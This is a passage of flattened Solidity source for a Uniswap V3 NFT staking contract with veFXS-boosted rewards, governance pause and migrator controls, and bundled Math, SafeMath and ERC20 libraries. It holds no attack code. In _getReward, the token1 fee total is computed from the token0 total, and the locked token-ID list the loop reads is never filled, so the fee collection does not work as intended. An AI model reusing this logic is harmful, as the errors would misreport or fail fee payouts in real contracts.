ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for ERC20; /* ========== STATE VARIABLES ========== */ // Instances IveFXS private veFXS; ERC20 public rewardsToken0; IUniswapV3PositionsNFT private stakingTokenNFT; // UniV3 uses an NFT // Admin addresses address public timelock_address; // Constant for various precisions uint256 private constant MULTIPLIER_PRECISION = 1e18; // Reward and period related uint256 public periodFinish; uint256 public lastUpdateTime; uint256 public rewardRate0; uint256 public rewardsDuration = 604800; // 7 * 86400 (7 days) // Lock time and multiplier settings uint256 public lock_max_multiplier = uint256(3e18); // E18. 1x = 1e18 uint256 public lock_time_for_max_multiplier = 3 * 365 * 86400; // 3 years uint256 public lock_time_min = 86400; // 1 * 86400 (1 day) // veFXS related uint256 public vefxs_per_frax_for_max_boost = uint256(4e18); // E18. 4e18 means 4 veFXS must be held by the staker per 1 FRAX uint256 public vefxs_max_multiplier = uint256(2e18); // E18. 1x = 1e18 mapping(address => uint256) private _vefxsMultiplierStored; // Uniswap V3 related int24 public uni_tick_lower; int24 public uni_tick_upper; uint24 public uni_required_fee = 500; address public uni_token0; address public uni_token1; // Rewards tracking uint256 public rewardPerTokenStored0 = 0; mapping(address => uint256) public userRewardPerTokenPaid0; mapping(address => uint256) public rewards0; // Balance, stake, and weight tracking uint256 private _total_liquidity_locked = 0; uint256 private _total_combined_weight = 0; mapping(address => uint256) private _locked_liquidity; mapping(address => uint256) private _combined_weights; mapping(address => uint256[]) private lockedTokenIDs; mapping(address => LockedNFT[]) private lockedNFTs; // List of valid migrators (set by governance) mapping(address => bool) public valid_migrators; address[] public valid_migrators_array; // Stakers set which migrator(s) they want to use mapping(address => mapping(address => bool)) public staker_allowed_migrators; // Greylists mapping(address => bool) public greylist; // Admin booleans for emergencies, migrations, and overrides bool public migrationsOn = false; // Used for migrations. Prevents new stakes, but allows LP and reward withdrawals bool public stakesUnlocked = false; // Release locked stakes in case of system migration or emergency bool public stakingPaused = false; bool public withdrawalsPaused = false; bool public rewardsCollectionPaused = false; // Struct for the stake struct LockedNFT { uint256 token_id; // for Uniswap V3 LPs uint256 liquidity; uint256 start_timestamp; uint256 ending_timestamp; uint256 lock_multiplier; // 6 decimals of precision. 1x = 1000000 int24 tick_lower; int24 tick_upper; } /* ========== MODIFIERS ========== */ modifier onlyByOwnerOrGovernance() { require(msg.sender == owner || msg.sender == timelock_address, "You are not the owner or the governance timelock"); _; } modifier onlyByOwnerOrGovernanceOrMigrator() { require(msg.sender == owner || msg.sender == timelock_address || valid_migrators[msg.sender] == true, "You are not the owner, governance timelock, or a migrator"); _; } modifier isMigrating() { require(migrationsOn == true, "Contract is not in migration"); _; } modifier notWithdrawalsPaused() { require(withdrawalsPaused == false, "Withdrawals are paused"); _; } modifier notRewardsCollectionPaused() { require(rewardsCollectionPaused == false,"Rewards collection is paused"); _; } modifier updateRewardAndBalance(address account, bool sync_too) { _updateRewardAndBalance(account, sync_too); _; } /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsToken0, address _stakingTokenNFT, address _timelock_address, address _veFXS_address, address _uni_token0, address _uni_token1 ) Owned(_owner) { rewardsToken0 = ERC20(_rewardsToken0); stakingTokenNFT = IUniswapV3PositionsNFT(_stakingTokenNFT); veFXS = IveFXS(_veFXS_address); lastUpdateTime = block.timestamp; timelock_address = _timelock_address; // 1 FXS a day rewardRate0 = (uint256(365e18)).div(365 * 86400); // Set the UniV3 addresses uni_token0 = _uni_token0; uni_token1 = _uni_token1; // Tick and Liquidity related uni_tick_lower = -276420; uni_tick_upper = -276230; } /* ========== VIEWS ========== */ // User locked liquidity tokens function totalLiquidityLocked() external view returns (uint256) { return _total_liquidity_locked; } // Total locked liquidity tokens function lockedLiquidityOf(address account) public view returns (uint256) { return _locked_liquidity[account]; } // Total 'balance' used for calculating the percent of the pool the account owns // Takes into account the locked stake time multiplier and veFXS multiplier function combinedWeightOf(address account) external view returns (uint256) { return _combined_weights[account]; } // Total combined weight function totalCombinedWeight() external view returns (uint256) { return _total_combined_weight; } function lockMultiplier(uint256 secs) public view returns (uint256) { uint256 lock_multiplier = uint256(MULTIPLIER_PRECISION).add( secs.mul(lock_max_multiplier.sub(MULTIPLIER_PRECISION)).div( lock_time_for_max_multiplier ) ); if (lock_multiplier > lock_max_multiplier) lock_multiplier = lock_max_multiplier; return lock_multiplier; } function userStakedFrax(address account) public view returns (uint256) { uint256 frax_tally = 0; LockedNFT memory thisNFT; for (uint256 i = 0; i < lockedNFTs[account].length; i++) { thisNFT = lockedNFTs[account][i]; uint256 this_liq = thisNFT.liquidity; if (this_liq > 0){ uint160 sqrtRatioAX96 = TickMath.getSqrtRatioAtTick(thisNFT.tick_lower); uint160 sqrtRatioBX96 = TickMath.getSqrtRatioAtTick(thisNFT.tick_upper); frax_tally = frax_tally.add(LiquidityAmounts.getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, uint128(thisNFT.liquidity))); } } // In order to avoid excessive gas calculations and the input tokens ratios. 50% FRAX is assumed // If this were Uni V2, it would be akin to reserve0 & reserve1 math return frax_tally.div(2); } function minVeFXSForMaxBoost(address account) public view returns (uint256) { return (userStakedFrax(account)).mul(vefxs_per_frax_for_max_boost).div(MULTIPLIER_PRECISION); } function veFXSMultiplier(address account) public view returns (uint256) { // The claimer gets a boost depending on amount of veFXS they have relative to the amount of FRAX 'inside' // of their locked LP tokens uint256 veFXS_needed_for_max_boost = minVeFXSForMaxBoost(account); if (veFXS_needed_for_max_boost > 0){ uint256 user_vefxs_fraction = (veFXS.balanceOf(account)).mul(MULTIPLIER_PRECISION).div(veFXS_needed_for_max_boost); uint256 vefxs_multiplier = ((user_vefxs_fraction).mul(vefxs_max_multiplier)).div(MULTIPLIER_PRECISION); // Cap the boost to the vefxs_max_multiplier if (vefxs_multiplier > vefxs_max_multiplier) vefxs_multiplier = vefxs_max_multiplier; return vefxs_multiplier; } else return 0; // This will happen with the first stake, when user_staked_frax is 0 } function checkUniV3NFT(uint256 token_id, bool fail_if_false) public view returns (bool is_valid, uint256 liquidity, int24 tick_lower, int24 tick_upper) { ( , , address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint256 _liquidity, , , , ) = stakingTokenNFT.positions(token_id); // Set initially is_valid = false; liquidity = _liquidity; // Do the checks if (fail_if_false) { require(token0 == uni_token0, "Uniswap token0 incorrect"); require(token1 == uni_token1, "Uniswap token1 incorrect"); require(fee == uni_required_fee, "Uniswap fee incorrect"); require(tickLower >= uni_tick_lower,"Uniswap tickLower is too low"); require(tickUpper <= uni_tick_upper,"Uniswap tickUpper is too high"); is_valid = true; } else { if ( (token0 == uni_token0) && (token1 == uni_token1) && (fee == uni_required_fee) && (tickLower >= uni_tick_lower) && (tickUpper <= uni_tick_upper) ) { is_valid = true; } } return (is_valid, liquidity, tickLower, tickUpper); } // Return all of the locked NFT positions function lockedNFTsOf(address account) external view returns (LockedNFT[] memory) { return lockedNFTs[account]; } // Return all of the locked NFT token IDs function lockedNFTIDsOf(address account) public view returns (uint256[] memory) { return lockedTokenIDs[account]; } function calcCurCombinedWeight(address account) public view returns ( uint256 old_combined_weight, uint256 new_vefxs_multiplier, uint256 new_combined_weight ) { // Get the old combined weight old_combined_weight = _combined_weights[account]; // Get the veFXS multipliers // For the calculations, use the midpoint (analogous to midpoint Riemann sum) new_vefxs_multiplier = veFXSMultiplier(account); uint256 midpoint_vefxs_multiplier = ((new_vefxs_multiplier).add(_vefxsMultiplierStored[account])).div(2); // Loop through the locked stakes, first by getting the liquidity * lock_multiplier portion new_combined_weight = 0; for (uint256 i = 0; i < lockedNFTs[account].length; i++) { LockedNFT memory thisNFT = lockedNFTs[account][i]; uint256 lock_multiplier = thisNFT.lock_multiplier; // If the lock period is over, drop the lock multiplier down to 1x for the weight calculations if (thisNFT.ending_timestamp <= block.timestamp){ lock_multiplier = MULTIPLIER_PRECISION; } uint256 liquidity = thisNFT.liquidity; uint256 combined_boosted_amount = liquidity.mul(lock_multiplier.add(midpoint_vefxs_multiplier)).div(MULTIPLIER_PRECISION); new_combined_weight = new_combined_weight.add(combined_boosted_amount); } } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_total_liquidity_locked == 0 || _total_combined_weight == 0) { return rewardPerTokenStored0; } else { return ( rewardPerTokenStored0.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate0) .mul(1e18) .div(_total_combined_weight) ) ); } } function earned(address account) public view returns (uint256) { uint256 reward0 = rewardPerToken(); return ( _combined_weights[account] .mul(reward0.sub(userRewardPerTokenPaid0[account])) .div(1e18) .add(rewards0[account]) ); } function getRewardForDuration() external view returns (uint256) { return (rewardRate0.mul(rewardsDuration)); } function migratorApprovedForStaker(address staker_address, address migrator_address) public view returns (bool) { // Migrator is not a valid one if (valid_migrators[migrator_address] == false) return false; // Staker has to have approved this particular migrator if (staker_allowed_migrators[staker_address][migrator_address] == true) return true; // Otherwise, return false return false; } // Needed to indicate that this contract is ERC721 compatible function onERC721Received( address, address, uint256, bytes memory ) public pure returns (bytes4) { return this.onERC721Received.selector; } /* ========== MUTATIVE FUNCTIONS ========== */ function _updateRewardAndBalance(address account, bool sync_too) internal { // Need to retro-adjust some things if the period hasn't been renewed, then start a new one if (sync_too){ sync(); } if (account != address(0)) { // To keep the math correct, the user's combined weight must be recomputed to account for their // ever-changing veFXS balance. ( uint256 old_combined_weight, uint256 new_vefxs_multiplier, uint256 new_combined_weight ) = calcCurCombinedWeight(account); // Calculate the earnings first _syncEarned(account); // Update the user's stored veFXS multipliers _vefxsMultiplierStored[account] = new_vefxs_multiplier; // Update the user's and the global combined weights if (new_combined_weight >= old_combined_weight) { uint256 weight_diff = new_combined_weight.sub(old_combined_weight); _total_combined_weight = _total_combined_weight.add(weight_diff); _combined_weights[account] = old_combined_weight.add(weight_diff); } else { uint256 weight_diff = old_combined_weight.sub(new_combined_weight); _total_combined_weight = _total_combined_weight.sub(weight_diff); _combined_weights[account] = old_combined_weight.sub(weight_diff); } } } function _syncEarned(address account) internal { if (account != address(0)) { // Calculate the earnings uint256 earned0 = earned(account); rewards0[account] = earned0; userRewardPerTokenPaid0[account] = rewardPerTokenStored0; } } // Staker can allow a migrator function stakerAllowMigrator(address migrator_address) public { require(staker_allowed_migrators[msg.sender][migrator_address] == false, "Address already exists"); require(valid_migrators[migrator_address], "Invalid migrator address"); staker_allowed_migrators[msg.sender][migrator_address] = true; } // Staker can disallow a previously-allowed migrator function stakerDisallowMigrator(address migrator_address) public { require(staker_allowed_migrators[msg.sender][migrator_address] == true,"Address doesn't exist already"); // Redundant // require(valid_migrators[migrator_address], "Invalid migrator address"); // Delete from the mapping delete staker_allowed_migrators[msg.sender][migrator_address]; } // Two different stake functions are needed because of delegateCall and msg.sender issues (important for migration) function stakeLocked(uint256 token_id, uint256 secs) nonReentrant external { _stakeLocked(msg.sender, msg.sender, token_id, secs, block.timestamp); } // If this were not internal, and source_address had an infinite approve, this could be exploitable // (pull funds from source_address and stake for an arbitrary staker_address) function _stakeLocked( address staker_address, address source_address, uint256 token_id, uint256 secs, uint256 start_timestamp ) internal updateRewardAndBalance(staker_address, true) { require((stakingPaused == false && migrationsOn == false) || valid_migrators[msg.sender] == true, "Staking is paused, or migration is happening"); require(greylist[staker_address] == false, "Address has been greylisted"); require(secs >= lock_time_min, "Minimum stake time not met"); require(secs <= lock_time_for_max_multiplier,"You are trying to lock for too long"); (, uint256 liquidity, int24 tick_lower, int24 tick_upper) = checkUniV3NFT(token_id, true); // Should throw if false { uint256 lock_multiplier = lockMultiplier(secs); lockedNFTs[staker_address].push( LockedNFT( token_id, liquidity, start_timestamp, start_timestamp.add(secs), lock_multiplier, tick_lower, tick_upper ) ); } // Pull the tokens from the source_address stakingTokenNFT.safeTransferFrom(source_address, address(this), token_id); // Update liquidities _total_liquidity_locked = _total_liquidity_locked.add(liquidity); _locked_liquidity[staker_address] = _locked_liquidity[staker_address].add(liquidity); // Need to call again to make sure everything is correct _updateRewardAndBalance(staker_address, false); emit LockNFT(staker_address, liquidity, token_id, secs, source_address); } // Two different withdrawLocked functions are needed because of delegateCall and msg.sender issues (important for migration) function withdrawLocked(uint256 token_id) nonReentrant notWithdrawalsPaused external { _withdrawLocked(msg.sender, msg.sender, token_id); } // No withdrawer == msg.sender check needed since this is only internally callable and the checks are done in the wrapper // functions like migrator_withdraw_locked() and withdrawLocked() function _withdrawLocked( address staker_address, address destination_address, uint256 token_id ) internal { // Collect rewards first and then update the balances _getReward(staker_address, destination_address); LockedNFT memory thisNFT; thisNFT.liquidity = 0; uint256 theArrayIndex; for (uint256 i = 0; i < lockedNFTs[staker_address].length; i++) { if (token_id == lockedNFTs[staker_address][i].token_id) { thisNFT = lockedNFTs[staker_address][i]; theArrayIndex = i; break; } } require(thisNFT.token_id == token_id, "Token ID not found"); require(block.timestamp >= thisNFT.ending_timestamp || stakesUnlocked == true || valid_migrators[msg.sender] == true, "Stake is still locked!"); uint256 theLiquidity = thisNFT.liquidity; if (theLiquidity > 0) { // Update liquidities _total_liquidity_locked = _total_liquidity_locked.sub(theLiquidity); _locked_liquidity[staker_address] = _locked_liquidity[staker_address].sub(theLiquidity); // Remove the stake from the array delete lockedNFTs[staker_address][theArrayIndex]; // Need to call again to make sure everything is correct _updateRewardAndBalance(staker_address, false); // Give the tokens to the destination_address stakingTokenNFT.safeTransferFrom(address(this), destination_address, token_id); emit WithdrawLocked(staker_address, theLiquidity, token_id, destination_address); } } // Two different getReward functions are needed because of delegateCall and msg.sender issues (important for migration) function getReward() external nonReentrant notRewardsCollectionPaused returns (uint256) { return _getReward(msg.sender, msg.sender); } // No withdrawer == msg.sender check needed since this is only internally callable // This distinction is important for the migrator // Also collects the LP fees function _getReward(address rewardee, address destination_address) internal updateRewardAndBalance(rewardee, true) returns (uint256 reward0) { reward0 = rewards0[rewardee]; if (reward0 > 0) { rewards0[rewardee] = 0; TransferHelper.safeTransfer(address(rewardsToken0), destination_address, reward0); // Collect liquidity fees too uint256 accumulated_token0 = 0; uint256 accumulated_token1 = 0; for (uint256 i = 0; i < lockedTokenIDs[rewardee].length; i++) { IUniswapV3PositionsNFT.CollectParams memory collect_params = IUniswapV3PositionsNFT.CollectParams( lockedTokenIDs[rewardee][i], destination_address, type(uint128).max, type(uint128).max ); (uint256 tok0_amt, uint256 tok1_amt) = stakingTokenNFT.collect(collect_params); accumulated_token0 = accumulated_token0.add(tok0_amt); accumulated_token1 = accumulated_token0.add(tok1_amt); } emit RewardPaid(rewardee, reward0, accumulated_token0, accumulated_token1, address(rewardsToken0), destination_address); } } function renewIfApplicable() external { if (block.timestamp > periodFinish) { retroCatchUp(); } } // If the period expired, renew it function retroCatchUp() internal { // Failsafe check require(block.timestamp > periodFinish, "Period has not expired yet!"); // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 num_periods_elapsed = uint256(block.timestamp.sub(periodFinish)) / rewardsDuration; // Floor division to the nearest period uint256 balance0 = rewardsToken0.balanceOf(address(this)); require(rewardRate0.mul(rewardsDuration).mul(num_periods_elapsed + 1) <= balance0, "Not enough FXS available for rewards!"); periodFinish = periodFinish.add((num_periods_elapsed.add(1)).mul(rewardsDuration)); uint256 reward0 = rewardPerToken(); rewardPerTokenStored0 = reward0; lastUpdateTime = lastTimeRewardApplicable(); emit RewardsPeriodRenewed(address(stakingTokenNFT)); } function sync() public { if (block.timestamp > periodFinish) { retroCatchUp(); } else { uint256 reward0 = rewardPerToken(); rewardPerTokenStored0 = reward0; lastUpdateTime = lastTimeRewardApplicable(); } } /* ========== RESTRICTED FUNCTIONS ========== */ // Migrator can stake for someone else (they won't be able to withdraw it back though, only staker_address can). function migrator_stakeLocked_for(address staker_address, uint256 token_id, uint256 secs, uint256 start_timestamp) external isMigrating { require(migratorApprovedForStaker(staker_address, msg.sender), "msg.sender is either an invalid migrator or the staker has not approved them"); _stakeLocked(staker_address, msg.sender, token_id, secs, start_timestamp); } // Used for migrations function migrator_withdraw_locked(address staker_address, uint256 token_id) external isMigrating { require(migratorApprovedForStaker(staker_address, msg.sender), "msg.sender is either an invalid migrator or the staker has not approved them"); _withdrawLocked(staker_address, msg.sender, token_id); } // Adds supported migrator address function addMigrator(address migrator_address) public onlyByOwnerOrGovernance { require(valid_migrators[migrator_address] == false,"address already exists"); valid_migrators[migrator_address] = true; valid_migrators_array.push(migrator_address); } // Remove a migrator address function removeMigrator(address migrator_address) public onlyByOwnerOrGovernance { require(valid_migrators[migrator_address] == true,"address doesn't exist already"); // Delete from the mapping delete valid_migrators[migrator_address]; // 'Delete' from the array by setting the address to 0x0 for (uint256 i = 0; i < valid_migrators_array.length; i++) { if (valid_migrators_array[i] == migrator_address) { valid_migrators_array[i] = address(0); // This will leave a null in the array and keep the indices the same break; } } } // Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance { // Admin cannot withdraw the staking token from the contract unless currently migrating if (!migrationsOn) { require(tokenAddress != address(stakingTokenNFT), "Cannot withdraw staking tokens unless migration is on"); // Only Governance / Timelock can trigger a migration } // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } // Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC721(address tokenAddress, uint256 token_id) external onlyByOwnerOrGovernance { // Admin cannot withdraw the staking token from the contract unless currently migrating if (!migrationsOn) { require(tokenAddress != address(stakingTokenNFT), "Cannot withdraw staking tokens unless migration is on"); // Only Governance / Timelock can trigger a migration } // Only the owner address can ever receive the recovery withdrawal // IUniswapV3PositionsNFT inherits IERC721 so the latter does not need to be imported IUniswapV3PositionsNFT(tokenAddress).safeTransferFrom( address(this), owner, token_id); emit RecoveredERC721(tokenAddress, token_id); } function setRewardsDuration(uint256 _rewardsDuration) external onlyByOwnerOrGovernance { require(periodFinish == 0 || block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period"); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } function setMultipliers(uint256 _lock_max_multiplier, uint256 _vefxs_max_multiplier, uint256 _vefxs_per_frax_for_max_boost) external onlyByOwnerOrGovernance { require(_lock_max_multiplier >= uint256(1e18), "Multiplier must be greater than or equal to 1e18"); require(_vefxs_max_multiplier >= 0, "Max veFXS multiplier must be greater than or equal to 0"); require(_vefxs_per_frax_for_max_boost > 0, "veFXS pct max must be greater than 0"); lock_max_multiplier = _lock_max_multiplier; vefxs_max_multiplier = _vefxs_max_multiplier; vefxs_per_frax_for_max_boost = _vefxs_per_frax_for_max_boost; emit MaxVeFXSMultiplier(vefxs_max_multiplier); emit LockedNFTMaxMultiplierUpdated(lock_max_multiplier); emit veFXSPctForMaxBoostUpdated(vefxs_per_frax_for_max_boost); } function setLockedNFTTimeForMinAndMaxMultiplier(uint256 _lock_time_for_max_multiplier, uint256 _lock_time_min) external onlyByOwnerOrGovernance { require(_lock_time_for_max_multiplier >= 1, "Multiplier Max Time must be greater than or equal to 1"); require(_lock_time_min >= 1, "Multiplier Min Time must be greater than or equal to 1"); lock_time_for_max_multiplier = _lock_time_for_max_multiplier; lock_time_min = _lock_time_min; emit LockedNFTTimeForMaxMultiplier(lock_time_for_max_multiplier); emit LockedNFTMinTime(_lock_time_min); } function initializeDefault() external onlyByOwnerOrGovernance { lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit DefaultInitialization(); } function greylistAddress(address _address) external onlyByOwnerOrGovernance { greylist[_address] = !(greylist[_address]); } function unlockStakes() external onlyByOwnerOrGovernance { stakesUnlocked = !stakesUnlocked; } function toggleMigrations() external onlyByOwnerOrGovernance { migrationsOn = !migrationsOn; } function setPauses( bool _stakingPaused, bool _withdrawalsPaused, bool _rewardsCollectionPaused ) external onlyByOwnerOrGovernance { stakingPaused = _stakingPaused; withdrawalsPaused = _withdrawalsPaused; rewardsCollectionPaused = _rewardsCollectionPaused; } function setUniParameters( int24 _uni_tick_lower, int24 _uni_tick_upper, uint24 _uni_required_fee ) external onlyByOwnerOrGovernance { uni_tick_lower = _uni_tick_lower; uni_tick_upper = _uni_tick_upper; uni_required_fee = _uni_required_fee; } function setRewardRate(uint256 _new_rate0, bool sync_too) external onlyByOwnerOrGovernance { rewardRate0 = _new_rate0; if (sync_too) { sync(); } } function setTimelock(address _new_timelock) external onlyByOwnerOrGovernance { timelock_address = _new_timelock; } /* ========== EVENTS ========== */ event LockNFT(address indexed user, uint256 liquidity, uint256 token_id, uint256 secs, address source_address); event WithdrawLocked(address indexed user, uint256 liquidity, uint256 token_id, address destination_address); event RewardPaid(address indexed user, uint256 farm_reward, uint256 liq_tok0_reward, uint256 liq_tok1_reward, address token_address, address destination_address); event RewardsDurationUpdated(uint256 newDuration); event RecoveredERC20(address token, uint256 amount); event RecoveredERC721(address token, uint256 token_id); event RewardsPeriodRenewed(address token); event DefaultInitialization(); event LockedNFTMaxMultiplierUpdated(uint256 multiplier); event LockedNFTTimeForMaxMultiplier(uint256 secs); event LockedNFTMinTime(uint256 secs); event MaxVeFXSMultiplier(uint256 multiplier); event veFXSPctForMaxBoostUpdated(uint256 scale_factor); /* ========== A CHICKEN ========== */ // // ,~. // ,-'__ `-, // {,-' `. } ,') // ,( a ) `-.__ ,',')~, // <=.) ( `-.__,==' ' ' '} // ( ) /) // `-'\ , ) // | \ `~. / // \ `._ \ / // \ `._____,' ,' // `-. ,' // `-._ _,-' // 77jj' // //_|| // __//--'/` // ,--'/` ' // // [hjw] https://textart.io/art/vw6Sa3iwqIRGkZsN1BC2vweF/chicken } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; pragma abicoder v2; interface IveFXS { struct LockedBalance { int128 amount; uint256 end; } /* ========== VIEWS ========== */ function balanceOf(address addr) external view returns (uint256); function balanceOf(address addr, uint256 _t) external view returns (uint256); function balanceOfAt(address addr, uint256 _block) external returns (uint256); function totalSupply() external view returns (uint256); function totalSupply(uint256 t) external view returns (uint256); function totalSupplyAt(uint256 _block) external returns (uint256); function totalFXSSupply() external view returns (uint256); function totalFXSSupplyAt(uint256 _block) external view returns (uint256); function locked(address addr) external view returns (LockedBalance memory); /* ========== PUBLIC FUNCTIONS ========== */ function checkpoint() external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../Common/Context.sol"; import "./IERC20.sol"; import "../Math/SafeMath.sol"; import "../Utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory __name, string memory __symbol) public { _name = __name; _symbol = __symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not 